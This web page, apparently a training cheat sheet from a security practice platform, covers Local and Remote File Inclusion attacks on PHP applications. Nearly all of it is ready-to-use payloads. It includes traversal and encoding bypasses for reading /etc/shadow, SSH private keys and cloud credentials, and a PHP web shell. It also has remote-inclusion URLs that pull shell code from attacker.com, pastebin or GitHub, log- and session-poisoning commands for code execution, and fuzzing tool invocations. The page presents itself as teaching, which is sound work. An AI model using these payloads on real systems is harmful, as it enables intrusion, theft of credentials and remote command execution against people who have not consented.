Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Local/Remote File Inclusion (LFI/RFI)

File Inclusion vulnerabilities allow attackers to include files on a server through the web browser. This can lead to sensitive information disclosure, remote code execution, or cross-site scripting. Local File Inclusion (LFI) allows inclusion of local files, while Remote File Inclusion (RFI) allows inclusion of remote files from external servers.

How It Works​

File inclusion occurs when an application uses user-supplied input to construct file paths without proper validation. For example:

<?php
$page = $_GET['page'];
include($page . ".php");
?>

An attacker could exploit this:

# LFI - Read local files
https://site.com/index.php?page=../../../etc/passwd

# RFI - Execute remote code
https://site.com/index.php?page=http://attacker.com/shell

Detection​

Manual Testing​

Basic LFI Tests​

Testing for local file inclusion:

# Step 1: Identify file parameters
https://site.com/index.php?page=home
https://site.com/index.php?file=about
https://site.com/index.php?include=contact
https://site.com/index.php?template=main

# Step 2: Test with simple traversal
https://site.com/index.php?page=../../../etc/passwd
https://site.com/index.php?file=....//....//....//etc/passwd
https://site.com/index.php?include=/etc/passwd

# Step 3: Check response
# - File contents visible: Vulnerable
# - Error message with path: Potential vulnerability
# - No error but different response: Possible blind LFI

# Step 4: Test common files
Linux:
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/var/log/apache2/access.log

Windows:
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\boot.ini
C:\xampp\apache\logs\access.log

Path Traversal Tests​

Different traversal techniques:

# Standard traversal
../../../etc/passwd
..\..\..\..\windows\win.ini

# Double encoding
..%252f..%252f..%252fetc%252fpasswd
..%255c..%255c..%255cwindows%255cwin.ini

# UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd

# URL encoding
..%2f..%2f..%2fetc%2fpasswd
..%5c..%5c..%5cwindows%5cwin.ini

# Double dot bypass
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Overlong UTF-8
..%c1%1c..%c1%1c..%c1%1cetc%c1%1cpasswd

Null Byte Injection Tests​

Using null bytes to truncate extensions (PHP < 5.3.4):

# Original code: include($_GET['page'] . ".php");
# Null byte terminates string before .php

# Standard null byte
page=../../../etc/passwd%00

# URL encoded null byte
page=../../../etc/passwd%2500

# Double encoded
page=../../../etc/passwd%25%30%30

# Unicode null byte
page=../../../etc/passwd%C0%80

RFI Tests​

Testing remote file inclusion:

# Step 1: Setup web server with malicious file
# shell.txt content: <?php system($_GET['cmd']); ?>
python3 -m http.server 8000

# Step 2: Test RFI with your server
page=http://your-server.com:8000/shell.txt

# Step 3: Test different protocols
page=http://attacker.com/shell.txt
page=https://attacker.com/shell.txt
page=ftp://attacker.com/shell.txt
page=//attacker.com/shell.txt

# Step 4: Execute commands if successful
page=http://attacker.com/shell.txt&cmd=whoami

Wrapper Tests​

Testing PHP wrappers for exploitation:

# php://filter - Read file with base64 encoding
page=php://filter/convert.base64-encode/resource=config.php
page=php://filter/convert.base64-encode/resource=../../../etc/passwd

# php://input - Execute POST data as PHP
page=php://input
POST Body: <?php system($_GET['cmd']); ?>

# data:// wrapper - Execute base64 data
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
# Base64 of: <?php system($_GET['cmd']); ?>

# expect:// wrapper - Execute commands
page=expect://ls
page=expect://whoami

# zip:// wrapper - Include from ZIP
# Create ZIP with shell.php
page=zip://uploads/file.zip%23shell.php

Log Poisoning Tests​

Poisoning log files for code execution:

# Step 1: Identify log file paths
Common Apache logs:
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log

Common Nginx logs:
/var/log/nginx/access.log
/var/log/nginx/error.log

# Step 2: Poison log via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Step 3: Include log file
page=../../../var/log/apache2/access.log&cmd=whoami

# Step 4: Alternative - poison via request
# Send request with PHP in path
curl http://target.com/<?php system('whoami'); ?>/

# Include log
page=../../../var/log/apache2/access.log

Automated Discovery​

Using wfuzz​

# LFI fuzzing
wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/Traversal.txt \
--hh 0 \
https://target.com/index.php?page=FUZZ

# With different payloads
wfuzz -c -z file,lfi-wordlist.txt \
-z file,files-to-read.txt \
--hh 0 \
https://target.com/index.php?page=FUZZFUZ2Z

# POST parameter fuzzing
wfuzz -c -z file,lfi-wordlist.txt \
-d "file=FUZZ" \
--hh 0 \
https://target.com/index.php

Using dotdotpwn​

# Basic LFI scan
dotdotpwn -m http -h target.com -x 80 -f /etc/passwd -k root

# With specific pattern
dotdotpwn -m http \
-h target.com \
-x 80 \
-f /etc/passwd \
-k root \
-d 5

# HTTPS scan
dotdotpwn -m http-url \
-u https://target.com/index.php?page=TRAVERSAL \
-f /etc/passwd \
-k root

Using Nuclei​

# Run LFI templates
nuclei -u https://target.com -t lfi/

# Specific file inclusion checks
nuclei -u https://target.com -t file/

# With specific keywords
nuclei -u https://target.com -t lfi/ -tags lfi,rfi

Attack Vectors​

Reading Sensitive Files​

Extracting configuration and credential files:

# Linux configuration files
/etc/passwd # User accounts
/etc/shadow # Password hashes
/etc/group # User groups
/etc/hosts # DNS mappings
/etc/resolv.conf # DNS configuration
/etc/ssh/sshd_config # SSH configuration
/etc/mysql/my.cnf # MySQL configuration
/etc/apache2/apache2.conf # Apache config
/etc/nginx/nginx.conf # Nginx config

# Application files
/var/www/html/config.php # PHP config
/var/www/html/.env # Environment variables
/var/www/html/wp-config.php # WordPress config
/var/www/html/.git/config # Git configuration
/home/user/.ssh/id_rsa # SSH private key
/home/user/.bash_history # Command history
/root/.aws/credentials # AWS credentials
/root/.docker/config.json # Docker credentials

# Windows files
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\boot.ini
C:\xampp\apache\conf\httpd.conf
C:\wamp\apache\conf\httpd.conf
C:\Program Files\FileZilla Server\FileZilla Server.xml

Proc Filesystem Exploitation​

Linux /proc filesystem enumeration:

# Process information
/proc/self/environ # Environment variables
/proc/self/cmdline # Command line of current process
/proc/self/stat # Process statistics
/proc/self/status # Process status
/proc/self/fd/[0-9]* # File descriptors
/proc/self/cwd # Current working directory
/proc/self/exe # Executed binary

# System information
/proc/version # Kernel version
/proc/cpuinfo # CPU information
/proc/meminfo # Memory information
/proc/devices # Device drivers
/proc/net/tcp # TCP connections
/proc/net/udp # UDP connections
/proc/net/arp # ARP table
/proc/net/fib_trie # Routing table

# Other processes (if readable)
/proc/[PID]/cmdline # Other process command line
/proc/[PID]/environ # Other process environment
/proc/[PID]/fd/[0-9]* # Other process file descriptors

PHP Wrapper Exploitation​

Advanced PHP wrapper techniques:

# php://filter with encoding chains
page=php://filter/convert.base64-encode/resource=config.php
page=php://filter/read=string.rot13/resource=config.php
page=php://filter/convert.iconv.utf-8.utf-16/resource=config.php

# Chaining filters
page=php://filter/convert.base64-decode/convert.base64-encode/resource=config.php
page=php://filter/zlib.deflate/convert.base64-encode/resource=config.php

# php://input for POST data execution
POST /index.php?page=php://input HTTP/1.1
<?php system($_GET['cmd']); ?>

# data:// wrapper
page=data://text/plain,<?php system($_GET['cmd']); ?>
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

# zip:// wrapper
# Create malicious.zip containing shell.php
page=zip://uploads/malicious.zip%23shell.php

# phar:// wrapper
page=phar://uploads/file.jpg/shell.php

Log Poisoning​

Poisoning various log files:

# Apache/Nginx Access Log
# Step 1: Inject PHP into User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Step 2: Include access log
page=../../../var/log/apache2/access.log&cmd=whoami

# SSH Log Poisoning
# Step 1: Inject PHP via SSH username
ssh '<?php system($_GET["cmd"]); ?>'@target.com

# Step 2: Include auth log
page=../../../var/log/auth.log&cmd=whoami

# Mail Log Poisoning
# Step 1: Send email with PHP payload
telnet target.com 25
MAIL FROM:<?php system($_GET["cmd"]); ?>@attacker.com

# Step 2: Include mail log
page=../../../var/log/mail.log&cmd=whoami

# FTP Log Poisoning
# Step 1: Login with PHP in username
ftp> USER <?php system($_GET["cmd"]); ?>

# Step 2: Include FTP log
page=../../../var/log/vsftpd.log&cmd=whoami

Session File Inclusion​

Including PHP session files:

# PHP session files location
/var/lib/php/sessions/sess_[PHPSESSID]
/var/lib/php5/sessions/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]

# Step 1: Set session variable with PHP code
https://target.com/index.php?session_var=<?php system($_GET['cmd']); ?>

# Step 2: Include session file
page=/var/lib/php/sessions/sess_abc123&cmd=whoami

# Alternative: Use session upload progress
# This works even without active session

# Step 1: Upload file with PHP in progress name
<form action="https://target.com/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system($_GET['cmd']); ?>" />
<input type="file" name="file" />
<input type="submit" />
</form>

# Step 2: Include session file while uploading
page=/tmp/sess_[PHPSESSID]&cmd=whoami

Remote File Inclusion​

Executing remote files:

# Basic RFI
page=http://attacker.com/shell.txt

# Shell.txt content:
<?php system($_GET['cmd']); ?>

# Protocol variations
page=http://attacker.com/shell.txt
page=https://attacker.com/shell.txt
page=ftp://attacker.com/shell.txt

# Bypass with double slash
page=//attacker.com/shell.txt

# Using allowed domains (if whitelist exists)
# Host file on allowed domain or subdomain
page=http://allowed-domain.com/path/to/shell.txt
page=http://sub.target.com/uploads/shell.txt

# Using URL shorteners
page=http://bit.ly/malicious-shell

# Using cloud storage
page=https://raw.githubusercontent.com/attacker/repo/shell.txt
page=https://gist.githubusercontent.com/attacker/id/raw/shell.txt
page=https://pastebin.com/raw/id

Bypass Techniques​

Extension Bypass​

Bypassing added file extensions:

# Original code: include($_GET['page'] . ".php");

# Null byte (PHP < 5.3.4)
page=../../../etc/passwd%00
page=../../../etc/passwd%2500

# URL encoding
page=../../../etc/passwd%00.jpg
page=config%00

# Question mark truncation (some systems)
page=../../../etc/passwd?
page=../../../etc/passwd?.jpg

# Encoding and chaining
page=../../../etc/passwd%00%20
page=../../../etc/passwd%23

Path Filter Bypass​

Bypassing path restrictions:

# Double encoding
..%252f..%252f..%252fetc%252fpasswd

# Mixed encoding
..%2f..%2f..%5cetc/passwd
..%5c..%5c..%5c..%2fetc%2fpasswd

# Unicode bypass
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
..%c1%1c..%c1%1c..%c1%1cetc%c1%1cpasswd

# Double dots bypass
....//....//....//etc/passwd
....\/....\/....\/windows/win.ini

# Overlong UTF-8
..%e0%80%af..%e0%80%afetc%e0%80%afpasswd

Dot Filter Bypass​

Bypassing dot filtering:

# Using encoded dots
page=%2e%2e%2f%2e%2e%2fetc%2fpasswd
page=.%252e/.%252e/etc/passwd

# Using backslashes (Windows)
page=..\..\..\..\windows\win.ini

# Bypassing dot removal
page=....//....//....//etc/passwd
page=...../...../etc/passwd

# Absolute paths (if allowed)
page=/etc/passwd
page=C:\windows\win.ini

Keyword Filter Bypass​

Bypassing keyword blacklists:

# If "etc/passwd" is blocked
page=eettcc/ppaasssswwdd
page=e??tc/p??asswd
page=/e%00tc/p%00asswd

# Case variation (if case-insensitive file system)
page=../../../ETC/PassWD
page=../../../Etc/Passwd

# String concatenation (PHP)
page=php://filter/resource=/e'.'tc/pa'.'sswd

# Using wrappers
page=php://filter/convert.base64-encode/resource=/etc/passwd

Protocol Bypass​

Using alternative protocols:

# When http:// is blocked for RFI
page=https://attacker.com/shell.txt
page=ftp://attacker.com/shell.txt
page=//attacker.com/shell.txt
page=file://attacker.com/shell.txt

# Data protocol
page=data://text/plain,<?php system('whoami'); ?>
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

# Using PHP streams
page=php://input
page=php://filter/resource=http://attacker.com/shell.txt

Whitelist Bypass​

Bypassing directory whitelists:

# If whitelist checks start of path
# Whitelist: /var/www/html/pages/
page=/var/www/html/pages/../../../etc/passwd

# If whitelist checks contains
page=allowed_dir/../../../etc/passwd

# If whitelist checks extension
page=../../../etc/passwd.jpg
page=../../../etc/passwd%00.txt

# Using symlinks (if they can be created)
# Create: pages/config -> ../../../etc/passwd
page=pages/config

Post-Exploitation​

Source Code Disclosure​

Reading application source code:

# Read configuration files
page=php://filter/convert.base64-encode/resource=config.php
page=php://filter/convert.base64-encode/resource=../config/database.php
page=php://filter/convert.base64-encode/resource=../includes/functions.php

# Read .env files
page=php://filter/convert.base64-encode/resource=../.env
page=php://filter/convert.base64-encode/resource=../../.env

# Read composer/package files
page=php://filter/convert.base64-encode/resource=../composer.json
page=php://filter/convert.base64-encode/resource=../package.json

Remote Code Execution​

Achieving RCE through LFI:

# Via php://input
POST /index.php?page=php://input&cmd=whoami HTTP/1.1

<?php system($_GET['cmd']); ?>

# Via log poisoning
# 1. Poison log
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# 2. Execute
page=/var/log/apache2/access.log&cmd=whoami

# Via session file
# 1. Poison session
page=home&pwn=<?php system($_GET['cmd']); ?>

# 2. Include session
page=/var/lib/php/sessions/sess_abc123&cmd=whoami

# Via file upload + LFI
# 1. Upload image with PHP code
# 2. Include uploaded file
page=../uploads/malicious.jpg&cmd=whoami

Privilege Escalation​

Using LFI for privilege escalation:

# Read SSH keys
page=../../../root/.ssh/id_rsa
page=../../../home/user/.ssh/id_rsa

# Read sudo configuration
page=../../../etc/sudoers
page=../../../etc/sudoers.d/custom

# Read cron jobs
page=../../../etc/crontab
page=../../../etc/cron.d/custom
page=../../../var/spool/cron/crontabs/root

# Read password hashes
page=../../../etc/shadow
page=../../../etc/security/opasswd

Common Tools​

ToolDescriptionPrimary Use Case
Burp SuiteWeb vulnerability scannerLFI/RFI testing
dotdotpwnLFI fuzzerAutomated LFI discovery
wfuzzWeb fuzzerParameter fuzzing
LFISuiteLFI exploitation toolLFI to RCE
KadimusLFI/RFI scannerDetection and exploitation
fimapLFI/RFI toolAutomated exploitation